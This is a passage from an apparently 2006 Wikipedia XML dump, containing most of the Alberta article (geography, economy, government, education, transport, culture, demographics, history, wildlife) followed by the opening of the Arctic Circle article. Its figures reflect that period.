With the exception of the southeastern section, the province is well watered. Alberta contains dozens of rivers and lakes ideal for [[swimming]], [[water skiing]], [[fishing]] and a full range of other [[water sports]]. There are a multitude of fresh-water lakes, each less than 260&amp;nbsp;km² situated in Alberta, and three of more considerable size.  These three larger lakes are [[Lake Athabasca]] (7898&amp;nbsp;km²), part of which lies in the province of Saskatchewan, [[Lake Claire (Albertan lake)|Lake Claire]] (1436&amp;nbsp;km²), which lies just west of Lake Athabasca in [[Wood Bufflao National Park]], and [[Lesser Slave Lake]] (1168&amp;nbsp;km²), which is well northwest of [[Edmonton]].

As Alberta extends for 1200&amp;nbsp;km from north to south, and about 600&amp;nbsp;km wide at its greatest east-west extent, it is natural that the climate should vary considerably between the 49th and 60th  parallels. It is also further influenced by altitude, especially in the southwestern part of the province within the [[Canadian Rockies]] and adjacent areas directly to the east.

[[Image:Canada 35 bg 061904.jpg|thumb|200px|right|Banff National Park]]

Northern Alberta is mostly covered by [[taiga|boreal forest]] and has fewer frost-free days than southern Alberta, which is often semi-arid due to the summer heat and much lower rainfall. Western Alberta is protected by the mountains, and enjoys the warmth brought by winter [[chinook wind]]s, while southeastern Alberta is flat, dry prairie, where temperatures can range from very cold (&amp;minus;35°C (&amp;minus;31°F) in the winter) to very hot (35°C (95°F) or higher in the summer). Central and parts of northwestern Alberta in the Peace River region are largely [[aspen parkland]], a [[biome]] transitional between [[prairie]] to the south and [[taiga|boreal forest]] to the north. After southern [[Ontario]], Central Alberta is the most likely region in [[Canada]] to experience [[tornadoe]]s. [[Thunderstorm]]s, some of them severe, are frequent in the summer, especially in central and southern Alberta. The region surrounding the [[Calgary-Edmonton Corridor]] is notable for having the highest frequency of [[hail]] in Canada. 

Overall, Alberta has cold winters, with a daytime average of about &amp;minus;10°C (14°F) in the south to &amp;minus;24°C (&amp;minus;12°F) in the north. In the summer, the daytime temperature averages from about 13°C (55°F) in the Rocky Mountains to 19°C (67°F) in the dry prairie to the south-east. The northern and western parts of the province experience higher rainfall and lower evaporation rates caused by cooler summer temperatures.

Alberta's capital city, [[Edmonton]], is located almost in the geographic centre of the province, and most of Alberta's oil is [[refinery|refined]] here. Southern Alberta, where [[Calgary]] is located, is known for its [[ranching]]. Much of the unforested part of Alberta is given over either to grain or to [[dairy farming]], with ranching predominantly a southern Alberta industry.  

&lt;!-- Unsourced image removed: [[Image:Dinosaurparkalberta.jpg|thumb|200px|[[Badlands]] terrain at the Dinosaur Provincial Park]] --&gt;
In southeastern Alberta, where the [[Red Deer River]] traverses the flat prairie and farmland, are the Alberta [[badlands]] with deep [[gorge|gorges]] and striking landforms. [[Dinosaur Provincial Park]], near [[Drumheller, Alberta]], showcases the badlands terrain, [[desert]] [[flora (plants)|flora]], and remnants from Alberta's past when [[dinosaurs]] roamed the then lush landscape.

Alberta is one of only two Canadian provinces to have no maritime coast (the other being the neighbouring province of Saskatchewan.)

===Largest municipalities and metro areas by population===
[[Image:dwalberta.png|thumb|250px|right|Major municipalities of Alberta]]
&lt;table border=0 cellpadding=2 cellspacing=2 width=50%&gt;
&lt;th&gt; Municipality
&lt;th&gt; 2005
&lt;th&gt; 2001
&lt;th&gt; 1996

&lt;tr&gt;&lt;td&gt;'''[[Census Metropolitan Area|Census Metropolitan Areas]]:'''
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Calgary Region|Calgary CMA]]&lt;td&gt;1,060,300**&lt;td&gt;951,395&lt;td&gt;821,628
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Edmonton Capital Region|Edmonton CMA]]&lt;td&gt;1,016,000**&lt;td&gt;937,845&lt;td&gt;862,597
&lt;tr&gt;&lt;td&gt;'''Cities (10 Largest):'''
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Calgary, Alberta|Calgary]]&lt;td&gt;956,078&lt;td&gt;878,866&lt;td&gt;768,082
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Edmonton, Alberta|Edmonton]]&lt;td&gt;712,391&lt;td&gt;666,104&lt;td&gt;616,306
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Red Deer, Alberta|Red Deer]]&lt;td&gt;79,082&lt;td&gt;67,707&lt;td&gt;60,080
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Lethbridge, Alberta|Lethbridge]]&lt;td&gt;77,202&lt;td&gt;67,374&lt;td&gt;63,053
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[St. Albert, Alberta|St. Albert]] &lt;small&gt;(included in Edmonton CMA)&lt;/small&gt;&lt;td&gt;56,318&lt;td&gt;53,081&lt;td&gt;46,888
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Medicine Hat, Alberta|Medicine Hat]]&lt;td&gt;56,048&lt;td&gt;51,249&lt;td&gt;46,783
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Grande Prairie, Alberta|Grande Prairie]]&lt;td&gt;44,631&lt;td&gt;36,983&lt;td&gt;31,353
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Airdrie, Alberta|Airdrie]] &lt;small&gt;(included in Calgary CMA)&lt;/small&gt;&lt;td&gt;27,069&lt;td&gt;20,382&lt;td&gt;15,946
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Spruce Grove, Alberta|Spruce Grove]] &lt;small&gt;(included in Edmonton CMA)&lt;/small&gt;&lt;td&gt;18,405&lt;td&gt;15,983&lt;td&gt;14,271
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Camrose, Alberta|Camrose]]&lt;td&gt;15,850&lt;td&gt;14,854&lt;td&gt;13,728
&lt;tr&gt;&lt;td&gt;'''Districts (3 Largest):'''
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Strathcona County, Alberta|Strathcona County]] &lt;small&gt;(included in Edmonton CMA)&lt;/small&gt;&lt;td&gt;80,232&lt;td&gt;71,986&lt;td&gt;64,176
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Wood Buffalo, Alberta|Regional Municipality of Wood Buffalo]]&lt;td&gt;73,176&lt;td&gt;41,466&lt;td&gt;35,213
&lt;tr bgcolor=#d3d3d3&gt;&lt;td&gt;[[Rocky View No. 44, Alberta|Municipality of Rocky View]] &lt;small&gt;(included in Calgary CMA)&lt;/small&gt;&lt;td&gt;30,688*&lt;td&gt;28,441&lt;td&gt;23,326
&lt;/b&gt; 
&lt;/table&gt;

[[Image:calgaryalberta34.jpg|thumb|200px|right|Calgary, Alberta]]

&lt;small&gt;''Sources: All 2005 figures are based on official 2005 census data from municipalities. Where no 2005 data is available, ''(*)'' indicates the most recent official data from either the municipality or the 2001 [[Statistics Canada]] federal census. All data for 2001 and 1996 is from the respective federal census.''&lt;/small&gt;

&lt;small&gt;''(**) indicates 2005 CMA estimates according to [http://www40.statcan.ca/l01/cst01/demo05a.htm Statistics Canada - Population of Census Metropolitan Areas]''&lt;/small&gt;

&lt;small&gt;''Although the city of [[Lloydminster, Alberta/Saskatchewan|Lloydminster]] has a total population of 23,632, it is not included on the list because the city straddles the Alberta-[[Saskatchewan]] border. Only 15,487 people live on the Alberta side, which would make it Alberta's 11th largest city.''&lt;/small&gt;

==Industry==
:''Main article: [[Industry in Alberta]]''

Alberta is the largest producer of [[petroleum|conventional crude oil]], [[synthetic crude]], [[natural gas]] and gas products in the country.  Two of the largest producers of [[petrochemicals]] in [[North America]] are located in central and north central Alberta.  In both [[Red Deer, Alberta|Red Deer]] and [[Edmonton, Alberta|Edmonton]], world class [[polyethylene]] and [[vinyl]] manufacturers produce products shipped all over the world, and Edmonton's [[oil refinery|oil refineries]] provide the raw materials for a large [[petrochemical]] industry to the east of Edmonton.

The [[Athabasca Oil Sands]] (previously known as the Athabasca [[Tar sands|Tar Sands]]) have estimated [[Petroleum|oil]] reserves in excess of that of the rest of the world, estimated to be 1.6 trillion barrels (254 km³).  With the advancement of extraction methods, bitumen and economical synthetic crude are produced at costs nearing that of conventional crude.  This technology is Alberta grown and developed.  Many companies employ both conventional [[surface mining|strip mining]] and non-conventional methods to extract the [[bitumen]] from the Athabasca deposit.  With current technology, only 315 billion barrels (50 km³) are recoverable. [[Fort McMurray]], one of Canada's youngest and liveliest cities, has grown up entirely because of the large [[multinational corporation]]s which have taken on the task of oil production.

Another factor determining the viability of oil extraction from the Tar Sands is the price of oil.  In 2005, record oil prices have made it more than profitable to extract this oil, which in the past would give little profit or even a loss.

While [[Edmonton, Alberta|Edmonton]] is considered the pipeline junction, manufacturing, chemical processing, research and refining centre of the province, [[Calgary, Alberta|Calgary]] is known for its senior and junior oil company head offices (unlike Edmonton, Calgary is not close to any large sources of oil).

With concerted effort and support from the provincial government, several high-tech industries have found their birth in Alberta, notably the invention and perfection of [[liquid crystal display]] systems.  With a growing economy, Alberta has several financial institutions dealing with several civil and private funds.

==Agriculture and forestry==
  
[[Image:Alberta red farm buildings.jpg|thumb|200px|right|Farm Buildings]]
[[Image:Field 150.jpg|thumb|200px|right|Alberta canola field]]
[[Image:Grain Elevator 047.jpg|thumb|200px|right|Grain Elevator - Alberta]]
[[Agriculture]] has a significant position in the province's economy.  Over 5 million [[cattle]] are residents of the province at one time or another, and Alberta beef has a healthy worldwide market. Nearly one half of all Canadian beef is produced in Alberta.  Alberta is one of the prime producers of plains [[American Bison|buffalo (bison)]] for the consumer market. [[domestic sheep|Sheep]] for [[wool]] and [[mutton]] are also [[sheep farm|raised]].

[[Wheat]] and [[canola]] are primary farm crops, with Alberta leading the provinces in spring wheat production, with other [[cereal|grain]]s also prominent. Much of the farming is dryland farming, often with fallow seasons interspersed with cultivation.  Continuous cropping (in which there is no fallow season) is gradually becoming a more common mode of production because of increased profits and a reduction of soil erosion.  Across the province, the once common [[grain elevator]] is slowly being lost as rail lines are decreased and farmers now truck the grain to central points.

Alberta is the leading [[beekeeping]] province of Canada, with some beekeepers wintering [[hive]]s indoors in specially designed barns in southern Alberta, then migrating north during the summer into the [[Peace River (Alberta)|Peace River]] valley where the season is short but the working days are long for [[honeybee]]s to produce honey from [[clover]] and [[fireweed]]. [[Hybrid]] [[canola]] also requires [[bee]] [[pollination]], and some beekeepers service this need.

The vast northern [[forest]] reserves of [[softwood]] allow Alberta to produce large quantities of [[lumber]] and [[plywood]], and several northern Alberta plants supply [[North America]] and the [[Pacific Rim]] [[nation]]s with bleached [[wood pulp]] and [[newsprint]].

==Government==
:''See also:  [[Politics of Alberta]]''

[[Edmonton]] is the seat of government of Alberta. It is a [[parliamentary]] [[democracy]]. Its [[unicameral]] legislature  -- the [[Legislative Assembly of Alberta|Legislative Assembly]] -- consists of 83 members. As Canada's head of state, Queen Elizabeth II is the Government of Alberta's chief executive.  Her duties in Alberta are carried out by Lieutenant Governor, Norman Kwong.  The government is headed by the [[Premier]], [[Ralph Klein]].  The city of [[Edmonton, Alberta|Edmonton]] is Alberta's government capital.

The province's revenue comes mainly from the taxation of oil, natural gas, beef, softwood lumber, and wheat, but also includes [[grant]]s from the [[federal government]] primarily for [[infrastructure]] projects.  Albertans are the lowest-[[tax]]ed people in [[Canada]], and Alberta is the only province in Canada without a provincial [[sales tax]] (though residents are still subject to the federal sales tax, the [[GST]]). Alberta's municipalities have their own governments which (usually) work in co-operation with the provincial government.

Alberta's [[politics]] are much more conservative than those of other Canadian provinces.  Alberta has traditionally had three political parties, the [[Alberta Progressive Conservatives|Progressive Conservatives]] (&quot;Conservatives&quot; or &quot;Tories&quot;), the centrist [[Alberta Liberal Party|Liberals]], and the social democratic [[Alberta New Democratic Party|New Democrats]]. A fourth party, the strongly conservative [[Social Credit Party of Alberta|Social Credit Party]], was a power in Alberta for many [[decade]]s, but fell from the political map after the Progressive Conservatives came to power in the early [[1970s]]. Since that time, no other political party has governed Alberta.  In fact, only  three parties have governed Alberta: the [[United Farmers of Alberta]] the Social Credit Party, and the currently-governing Progressive Conservative Party  

As is the case with many western Canadian provinces, Alberta has had occasional bouts of separatist sentiment. Even during the [[1980|1980s]], when these feelings were at their strongest, there has never been enough interest in secession to initiate any major movements or referenda. There are a number of groups wishing to promote the independence of Alberta in some form currently active in the province. See also: [[Alberta separatism]].

In the [[Alberta general election, 2004|2004 provincial election]], held in November, the [[Alberta Alliance Party]], running to the [[right-wing politics|right]] of the Conservatives, won one seat.

See also: [[List of Alberta Premiers]], [[List of Alberta general elections]]

==Education==
As with any Canadian province, the Alberta government is the highest authority in education, creating and regulating the school boards, public colleges, universities, and other educational institutions.

===K-12===
The vast majority of Alberta's schools are run by publicly funded school boards (each with its own district of authority).  The largest are English language Public school boards.  Alberta also has English Separate Catholic boards throughout the province, which serve a substantial minority of students.  There is one protestant school board in part of the province.  Where numbers warrant, there are francophone school boards (Public and Separate Catholic).  All five of these types of boards are  primarily publicly funded (basic school fees range from $200-$750 depending on the school board) by local property taxes and provincial grants given on an equal per student basis by the province (with some adjustments).  The different types of school boards are a necessity under the Canadian constitution, which guarantees the francophones and Catholic communities both the right to their own schools, and the right to administer them.  

&lt;!-- Image with unknown copyright status removed: [[Image:Myhallway.jpg|thumb|210px|right|School Hallway]] --&gt;

Some other Canadian provinces have reformed their school systems on non-religious lines, by seeking a constitutional amendment, but Alberta has not.  Often the decision to go to one system or another is not based on religion, but a parent's belief of which system provides a better education.

Starting in 1994, the province has allowed some [[Alberta charter schools|chartered schools]] to operate, independently of any district school board, reporting directly to the province.  Homeschooling is officially recognized and partially funded from within the Alberta school system.

Originally in Alberta, school boards had the power to levy property taxes within their respective districts. However, this meant districts with a low tax base were underfunded, so the province moved to a system that pools the education property tax, and distributes it based on student population and need.

===Post-secondary===
Alberta's oldest and largest university is Edmonton's [[University of Alberta]]. The [[University of Calgary]], once affiliated with the University of Alberta, gained its autonomy in 1966, and is now the second largest university in Alberta.  There is also [[Athabasca University]], which focuses on distance learning, and the [[University of Lethbridge]].  There are 15 colleges that receive direct public funding, along with two technical institutes, [[Northern Alberta Institute of Technology|NAIT]] and [[Southern Alberta Institute of Technology|SAIT]] ([http://www.advancededucation.gov.ab.ca/college/postsecsystem/postsecinst/postsecinst.asp]).  Students may also receive government loans and grants while attending selected private institutions.

==Transportation==
Alberta has over 180,000&amp;nbsp;km of [[highway]]s and roads, of which nearly 50,000&amp;nbsp;km are paved. The main north-south [[corridor]] is [[Alberta Highway 2|Highway 2]], which begins south of [[Cardston, Alberta|Cardston]] at the [[Carway, Alberta|Carway]] [[border]] crossing. Highway 4, which effectively extends [[Interstate 15|U.S. Interstate Highway 15]] into Alberta and is the busiest U.S. gateway to the province, begins at the [[Coutts, Alberta|Coutts]] border crossing and ends at [[Lethbridge, Alberta|Lethbridge]]. [[Alberta Highway 3|Highway 3]] joins Lethbridge to [[Fort Macleod, Alberta|Fort Macleod]] and links Highway 4 to Highway 2. Highway 2 travels northward through Fort Macleod, [[Calgary, Alberta|Calgary]], [[Red Deer, Alberta|Red Deer]], and [[Edmonton, Alberta|Edmonton]] before dividing into two highways. One continues northwest as Highway 43 into [[Grande Prairie, Alberta|Grande Prairie]] and the [[Peace River country]]; the other (Highway 63) travels northeast to [[Fort McMurray]], the location of the [[Athabasca Tar Sands|Athabasca Oil Sands]].  Highway 2 is supplimented by two more highways that run parallel to it: highway 22, west of highway 2, known as 'the cowboy trail', and highway 21, east of highway 2.

Alberta has two main east-west corridors. The southern corridor, part of the [[Trans-Canada Highway|Trans-Canada Highway]] system, enters the province near [[Medicine Hat, Alberta|Medicine Hat]], runs westward through Calgary, and leaves Alberta through [[Banff National Park]].  The northern corridor, also part of the Trans-Canada network but known alternatively as the [[Yellowhead Highway]] ([[Alberta Highway 16|Highway 16]]), runs west from [[Lloydminster, Alberta/Saskatchewan|Lloydminster]] in eastern Alberta, through Edmonton and [[Jasper National Park]] into [[British Columbia]]. On a sunny spring or fall day, one of the most scenic drives in the world is along the [[Icefields Parkway]], which runs some 300&amp;nbsp;km between Jasper and Banff, with mountain ranges and glaciers on either side of its entire length.

Urban stretches of Alberta's major highways and [[freeway]]s are often called ''trails''.  For example, Highway 2 is Deerfoot Trail as it passes through Calgary, Calgary Trail as it leaves Edmonton southbound, and St. Albert Trail as it leaves Edmonton northbound toward the city of [[St. Albert, Alberta|St. Albert]].  Visitors from outside Alberta often find this disconcerting, accustomed as they are to the notion that a trail is an unpaved route primarily for [[pedestrian]]s.

Edmonton, Calgary, Red Deer, Medicine Hat, and Lethbridge have substantial mass transit systems.  Edmonton and Calgary also operate light rail vehicles.

Alberta is well-connected by air, with international [[airport]]s at both Edmonton and Calgary. Calgary's airport is the larger of the two, and is also the fourth busiest in Canada. It is a hub airport for a significant proportion of the connecting trans-border and international flights into and out of central Canada. There are over 9000&amp;nbsp;km of operating mainline railway, and many tourists see Alberta aboard [[Via Rail]] or [[Rocky Mountain Railtours]].

==Culture==
:''Main article: [[Culture of Alberta]]''

Alberta is well known for its warm and outgoing friendliness and [[frontier]] spirit.  

[[Image:whyte4.jpg|thumb|200px|right|Whyte Avenue, Edmonton]]

Summer brings many festivals to the province.  Edmonton's Fringe Festival is the world's second largest after [[Edinburgh]]'s. Alberta also hosts some of Canada's largest folk festivals, multicultural festivals, and heritage days (to name a few). Calgary is also home to [[Carifest]], the second largest [[Caribbean]] festival in the nation (after [[Caribana]] in [[Toronto]]). These events highlight the province's cultural diversity and love of entertainment.  Most of the major cities have several performing theatre companies who entertain in venues as diverse as Edmonton's Arts Barns and the [[Francis Winspear Centre]]. 

Alberta also has a large ethnic population. Both the Chinese and East Indian communities are significant. According to [[Statistics Canada]], Alberta is home to the second highest proportion (two percent) of Francophones in western Canada (after [[Manitoba]]). Many of Alberta's French-speaking residents live in the central and northwestern regions of the province. As reported in the 2001 census, the [[China|Chinese]] represented nearly four percent of Alberta's population and [[India|East Indians]] represented better than two percent. Both Edmonton and Calgary have [[Chinatown]]s and Calgary's is Canada's third largest. [[Aboriginal peoples in Alberta|Aboriginal Albertans]] make up approximately three percent of the population. 

The major contributors to Alberta's ethnic diversity have been the European nations. Forty-four percent of Albertans are of [[Great Britain|British]] and [[Irish people|Irish]] descent, and there are also large numbers of [[Germany|Germans]], [[Ukraine|Ukrainians]], and [[Scandinavia]]ns.

Both cities heavily support first-class [[Canadian Football League]] and [[National Hockey League]] teams. [[football (soccer)|Soccer]], [[rugby union]] and [[lacrosse]] are also played professionally in Alberta. 

[[Tourism]] is also important to Albertans. A million visitors come to Alberta each year just for Calgary's world-famous [[Calgary Stampede | Stampede]] and for Edmonton's [[Klondike Days]]. Edmonton was the gateway to the only all-Canadian route to the [[Yukon]] [[gold field]]s, and the only route which did not require gold-seekers to travel the exhausting and dangerous [[Chilkoot Pass]].

[[Image:Stephen_Avenue.jpg |thumb|left|Stephen Avenue, Calgary]]

Visitors throng to Calgary for ten days every July for a taste of &quot;Stampede Fever&quot;. As a celebration of Canada's own [[Wild West]] and the cattle ranching industry, the [[Calgary Stampede | Stampede]] welcomes around 1.2 million people each year. Only an hour's drive from the [[Rocky Mountains]], Calgary also makes a visit to tourist attractions like [[Banff National Park]] something which can easily be done in a day. Calgary and Banff each host nearly 5 million tourists yearly.

Alberta is an important destination for tourists who love to [[skiing|ski]] and [[hiking|hike]]; Alberta boasts several world-class [[ski resort]]s. Hunters and fishermen from around the world are able to take home impressive [[trophy|trophies]] and [[tall tales]] from their experiences in Alberta's wilderness.

==Demographics==
Alberta has enjoyed a relatively high rate of growth in recent years, due in large part to its burgeoning economy. Between 2003 and 2004, the province saw high birthrates (on par with some larger provinces such as [[British Columbia]]), relatively high immigration, and a high rate of interprovincial migration when compared to other provinces [http://www40.statcan.ca/l01/cst01/demo33c.htm]. As of 2005, the population of the province was 3,212,813 (''Albertans''). 81% of this population lives in urban areas and 19% is rural. The [[Calgary-Edmonton Corridor]] is the most urbanized area in the province and one of the densest in Canada. Many of Alberta's cities and towns have also experienced very high rates of growth in recent history.

===Population of Alberta since 1901===
[[Image:Alberta_pop.JPG|thumb|500px|right|Alberta's population has grown steadily for over a century]]
{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!Year
!Population
!Five Year &lt;br /&gt; % change
!Ten Year &lt;br /&gt; % change
!Percentage of &lt;br /&gt; Canadian Pop.
|-
|1901 ||73,022 ||n/a ||n/a ||1.4
|-
|1911 ||374,295 ||n/a ||412.6 ||5.2
|-
|1921 ||588,454 ||n/a ||57.2 ||6.7
|-
|1931 ||731,605 ||n/a ||24.3 ||7.0
|-
|1941 ||796,169 ||n/a ||8.8 ||6.9
|-
|1951 || 939,501 ||n/a ||18.0 ||6.7
|-
|1961 ||1,331,944 ||n/a ||41.8 ||7.3
|-
|1971 ||1,627,874 ||n/a ||22.2 ||7.5
|-
|1981 ||2,237,724 ||n/a ||37.5 ||9.2
|-
|1986 ||2,365,825 ||5.7 ||n/a ||9.3
|-
|1991 ||2,545,553 ||7.6 ||13.8 ||9.3
|-
|1996 ||2,696,826 ||5.9 ||14.0 ||9.3
|-
|2001 ||2,974,807 ||10.3 ||16.9 ||9.9
|}

Racially and ethnically, the province is predominantly [[Caucasian race|Caucasian]]. 88.8% of the population is either white or [[Aboriginal peoples of Canada|Aboriginal]] (Aboriginals represent a fairly small proportion of this percentage, however). This number is significantly smaller in many of the cities, particularly [[Calgary, Alberta|Calgary]] and [[Edmonton, Alberta|Edmonton]] which are home to a much larger number of visible minorities.

'''Visible Minorities'''
*3.3% [[China|Chinese]]
*2.3% [[Asian]]
*1.1% [[Black]]
*1.1% [[Filipino people|Filipino]]

Most Albertans identify as [[Christian]]s. Nevertheless, many people in the province observe other faiths or do not profess to a religion at all. Alberta has a somewhat higher percentage of [[evangelicalism|evangelical]] Christians than do other provinces.  Conversely, Alberta also has the second highest percentage of [[Non-religious]] residents in Canada (after British Columbia).

The [[Church of Jesus Christ of Latter-day Saints|Mormons]] of Alberta reside primarily in the extreme south of the province. There are [[Temple (Mormonism)|temples]] in both Cardston and Edmonton. Many Alberta Mormons descend from [[Mormon pioneers]] who emigrated from [[Utah]] around the turn of the 20th century. Alberta also has a large [[Hutterite]] population, a communal  [[Anabaptist]] sect similar to the [[Mennonites]], and a significant population of [[Seventh-day Adventist Church|Seventh-day Adventists]] in and around the [[Lacombe]] area due to the presence of the [[Canadian University College]].

Many people of the [[Hindu]], [[Sikh]], and [[Muslim]] faiths also make Alberta their home; one of the largest [[Gurdwara|Sikh temples]] in Canada is located just outside of Edmonton.

'''Religion'''
*[[Protestant]]: 38.9%
*[[Roman Catholic]]: 26.7%
*[[Non-religious|No Affiliation]]: 23.6%
*[[Eastern Orthodoxy|Christian Orthodox]]: 1.5%
*other Christian: 4.1%
*Muslim: 1.5%
*Buddhist: 1.1%

==History==
:''Main article: [[History of Alberta]]''

The present province of Alberta, as far north as about 53° north latitude, was a part of [[Rupert's Land]] from the time of the incorporation of the [[Hudson's Bay Company]] ([[1670]]).  After the arrival in the North-West of the French around 1731 they settled the prairies of the west, establishing communities such as Lac La Biche and Bonnyville. Fort La Jonquière was established near what is now Calgary in (1752).  The [[North-West Company]] of Montreal occupied the northern part of Alberta territory before the Hudson's Bay Company arrived from Hudson Bay to take possession of it.  The first explorer of the Athabasca region was [[Peter Pond]], who, on behalf of the North-West Company of Montreal, built [[Fort Athabasca]] on [[Lac La Biche, Alberta|Lac La Biche]] in 1778.  [[Roderick Mackenzie]] built [[Fort Chipewyan]] on [[Lake Athabasca]] ten years later in 1788. His cousin, Sir [[Alexander Mackenzie (explorer)|Alexander Mackenzie]] followed the [[North Saskatchewan River]] to its northernmost point near Edmonton, then setting northward on foot, trekked to the [[Athabasca River]], which he followed to Lake Athabasca. It was there he discovered the mighty outflow river which bears his name -- the [[Mackenzie River]] -- which he followed to its outlet in the Arctic Ocean. Returning to [[Lake Athabasca]], he followed the [[Peace River (Canada)|Peace River]] upstream, eventually reaching the [[Pacific Ocean]], and so being the first white man to cross the North American continent north of [[Mexico]].

The district of Alberta was created as part of the North-West Territories in 1882. As settlement increased, local representatives to the North-West Legislative Assembly were added. After a long campaign for autonomy, in 1905 the district of Alberta was enlarged and given provincial status.

==Fauna and flora==
===Fauna===
The three climatic regions ([[alpine]], [[forest]], and [[prairie]]) of Alberta are home to many different species of animals.  The south and central prairie was the land of the bison, its grasses providing a great pasture and breeding ground for millions of [[American Bison|buffalo]]. The buffalo population was decimated during early settlement, but since then buffalo have made a strong comeback, and thrive on farms and in parks all over Alberta.

Alberta is home to many large [[carnivore]]s. Among them are the [[Grizzly bear|grizzly]] and [[american Black Bear|black bears]], which are found in the mountains and wooded regions.  Smaller carnivores of the [[dog]] and [[Felidae|cat]] families include [[coyote]]s, [[wolf|wolves]], [[fox]], [[lynx]], [[bobcat]] and [[mountain lion]] (cougar).  

[[Image:Bighorn23.jpg|thumb|200px|[[Rocky Mountains]] Bighorn Sheep]]

[[Herbivorous]], or plant-eating animals, are found throughout the province. [[Moose]] and [[deer]] (both mule and white-tail [[variety (biology)|varieties]]) are found in the wooded regions, and [[pronghorn antelope]] can be found in the prairies of southern Alberta.  [[Bighorn sheep]] and [[mountain goat]]s live in the Rocky Mountains.  [[Rabbit]]s,  [[porcupine]]s, [[skunk]]s, [[squirrel]]s, and many species of rodents and reptiles live in every corner of the province. Alberta is fortunate in that it is home to only one variety of venomous snake, the prairie [[rattlesnake]]. 

Central and northern Alberta and the region farther north is the nesting-ground of the migratory birds.  Vast numbers of [[duck]]s, [[goose|geese]], [[swan]]s, and [[pelican]]s arrive in Alberta every spring and nest on or near one of the hundreds of small lakes that dot northern Alberta. [[Eagle]]s, [[hawk]]s, [[owl]]s, and [[crow]]s are plentiful, and a huge variety of smaller seed and insect-eating birds can be found.  Alberta, like other [[temperate]] regions, is home to [[mosquito]]es, [[fly|flies]], [[wasp]]s, and [[bee]]s.  Rivers and lakes are well stocked with [[pike (fish)|pike]], [[walleye]], [[white fish]], [[Rainbow trout|rainbow]], [[Brook trout|speckled]], and [[Brown trout|brown]] [[trout]], and even [[sturgeon]].  [[Turtle]]s are found in some water bodies in the southern part of the province.  [[Frog]]s and [[salamander]]s are a few of the [[amphibian]]s that make their homes in Alberta.

===Flora===
In central and northern Alberta the arrival of spring brings the prairie anemone, the [[avens]], [[crocus]]es, and other early flowers.  The advancing summer introduces many flowers of the [[sunflower]] family, until in August the plains are one blaze of yellow and purple.  The southern part of Alberta is covered by a short grass, very nutritive, but dries up as summer lengthens, to be replaced by hardy perennials such as the [[buffalo bean]], [[fleabane]], and [[sage]].  Both yellow and purple [[clover]] fill the roadways and the ditches with their beauty and aromatic scents. The trees in the parkland region of the province grow in clumps and belts on the hillsides.  These are largely [[deciduous]], typically [[birch]], [[poplar]], and [[tamarack]]. Many species of [[willow]] and other shrubs grow in virtually any terrain.  On the north side of the North Saskatchewan River evergreen forests prevail for hundreds of thousands of square kilometres.  [[aspen|Aspen poplar]], [[balsam poplar]] (or [[cottonwood]]), and [[paper birch]] are the primary large deciduous species.  [[Conifer]]s include [[Jack pine]], Rocky Mountain pine, [[Lodgepole pine]], both white and black [[spruce]], and the deciduous conifer [[tamarack]].

==See also==
[[Family Law Act]]

==External links==
*[http://www.gov.ab.ca/ Government of Alberta website]
*[http://www.travelalberta.com/ Travel Alberta]
*[http://www.albertasource.ca/ Alberta Encyclopedia]
*[http://www.albertafirst.com/ Alberta Community Profiles] (A site offering info on tax, census info, and economic development of large and small Albertan Communities)
*[http://www.alberta.demosphere.net Alberta Demosphere]

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[[Category:Alberta| ]]

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  </page>
  <page>
    <title>Arctic Circle</title>
    <id>718</id>
    <revision>
      <id>40865303</id>
      <timestamp>2006-02-23T14:52:49Z</timestamp>
      <contributor>
        <username>Poulpy</username>
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      <minor />
      <comment>fr:</comment>
      <text xml:space="preserve">:''For the fast food restaurant chain, see [[Arctic Circle Restaurants]]''

[[Image:ARCTIC CIRCLE 021106.jpg|thumb|350px]]

[[Image:Arctic Circle sign.jpg|thumb|right|200px|A sign along the [[Dalton Highway]] marking the location of the Arctic Circle]]

The '''Arctic Circle''' is one of the five major [[circle of latitude|circles of latitude]] that mark maps of the [[Earth]]. This is the parallel of [[latitude]] that (in 2000) runs [[degree (angle)|66° 33' 39&quot;]] north of the [[Equator]]. Everything north of this circle is known as the [[Arctic]], and the zone just to the south of this circle is the [[temperate|Northern Temperate Zone]]. 

The Arctic Circle marks the southern extremity of the [[polar day]] of the [[summer solstice]] in June and the [[polar night]] of the [[winter solstice]] in December. Within the Arctic Circle, the arctic [[Sun]] is above the [[horizon]] for at least 24 continuous [[hour]]s once per [[year]], in conjunction with the Arctic's [[Summer Solstice]] - this is often referred to in local [[wiktionary:Vernacular|vernacular]] as [[midnight sun]]. Likewise, in conjunction with the Arctic's [[Winter Solstice]], the Arctic sun will be below the horizon for at least 24 continuous hours.
(In fact, because of [[refraction]] and because the sun appears as a disk and not a point, part of the midnight sun may be seen at the night of the summer solstice up to about 50' (90 km) south of the geometric arctic circle; similarly, at the day of the winter solstice part of the sun may be seen up to about 50' north of the geometric arctic circle. This is true at sea level;  these limits increase with elevation above sea level, however in mountainous regions there is often no direct view of the horizon.)

The position of the Arctic Circle is determined by the [[axial tilt]] (angle) of the polar axis of rotation of the Earth on the [[ecliptic]].  This angle is not constant, but has a complex motion determined by many cycles of short to very long periods.  Due to [[nutation]] the tilt oscillates over 9&quot; (about 280 [[metre|m]] on the surface) over a period of 18.6 years.  The main long-term cycle has a period of 41000 years and an amplitude of about 0.68°, or 76 km on the surface.  Currently the tilt is decreasing by about 0.47&quot; per year, so the Arctic Circle is moving north by about 14 m per year.  Also see [[precession]].

Countries which have significant territory within the Arctic Circle are:

* [[Russia]]
* [[Canada]]
* [[Denmark]] ([[Greenland]])
* [[United States of America]] ([[Alaska]])
* [[Norway]]
* [[Sweden]]
* [[Finland]]

